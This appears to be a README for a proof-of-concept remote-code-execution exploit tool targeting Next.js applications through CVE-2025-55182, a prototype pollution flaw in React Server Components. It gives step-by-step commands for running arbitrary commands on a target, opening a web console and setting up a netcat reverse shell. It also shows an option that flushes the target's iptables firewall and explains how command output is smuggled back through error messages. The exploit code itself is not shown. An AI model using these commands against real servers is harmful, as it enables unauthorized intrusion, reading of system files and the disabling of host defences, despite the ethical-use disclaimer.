This tool is a simple Proof-of-Concept (PoC) exploit for CVE-2025-55182. This is a serious flaw (Prototype Pollution) found in Next.js applications that use React Server Components.
If a target server is vulnerable, this script lets you run operating system commands on it (Remote Code Execution, or RCE).
This tool is built for learning, CTFs, and responsible security research.
USE ETHICALLY. Only run this exploit against systems you own or have explicit, documented permission to test. Unauthorized use is illegal. This tool is for educational purposes only.
This tool has three main ways to run commands: a simple single command, a full interactive web console, and an attempt at a classic reverse shell.
-
Get the code:
git clone https://github.com/raivenLockdown/RCE_React2Shell_ButCooler-SomeUselessUsefulThingsLMAO-.git cd REACT2SHELL -
Install the library:
pip install requests
This is the easiest way to interact with the target. It starts a local web page on your machine that acts like a terminal.
-
Run the script:
python3 exploit.py <TARGET_URL> --web-cli
Example:
python3 exploit.py http://target.com/ --web-cli -
Open your browser: The script will tell you to open
http://127.0.0.1:8000/. You can then type commands (likels,whoami,cat /etc/passwd) directly into the web page.
Run one command and get the output immediately in your local terminal. Good for quick checks like finding your user ID.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'Example: python3 exploit.py http://target.com/ --cmd 'id'
Use this mode if you want a stable, persistent connection. Note: This often fails in real-world environments due to firewalls (egress filtering).
-
Start your listener (e.g.,
netcat):nc -lvnp 55555
-
Run the exploit:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: Your machine's IP.-p 55555: The port your listener is using.--flush(Optional): Tries to runiptables -Fon the target first to clear host firewalls.
The exploit uses a Prototype Pollution flaw to achieve RCE.
- Prototype Pollution: The script sends a specially crafted payload to a vulnerable Next.js endpoint. This payload exploits a flaw in how the server processes data, allowing us to add properties to the basic JavaScript object structure (
Object.prototype). - RCE Trigger: We pollute a specific, internal property that controls what code the server runs (using Node.js's
child_process). We replace that property's value with our shell command. - Output Capture: When running commands in the single-command or web CLI modes, the exploit makes the server execute the command (
execSync) and immediately throw a harmless error. The output of the command is cleverly stuffed into the error message'sdigestfield. The Python script then reads this field to get the results.
This research relies on the initial work and disclosure by the security community. Thank you to all researchers and open-source contributors.
- Original PoC Repository for CVE-2025-55182 - (The foundation for this exploit.)
- Original PoC Code Example - (The initial code example.)
- Critical Security Vulnerability in React Server Components - (Official React blog post on the issue.)
- Critical Vulnerability in React (CVE-2025-55182) - (Detailed security analysis.)
- React Server Functions Documentation - (Official docs explaining the context of how the vulnerable components work.)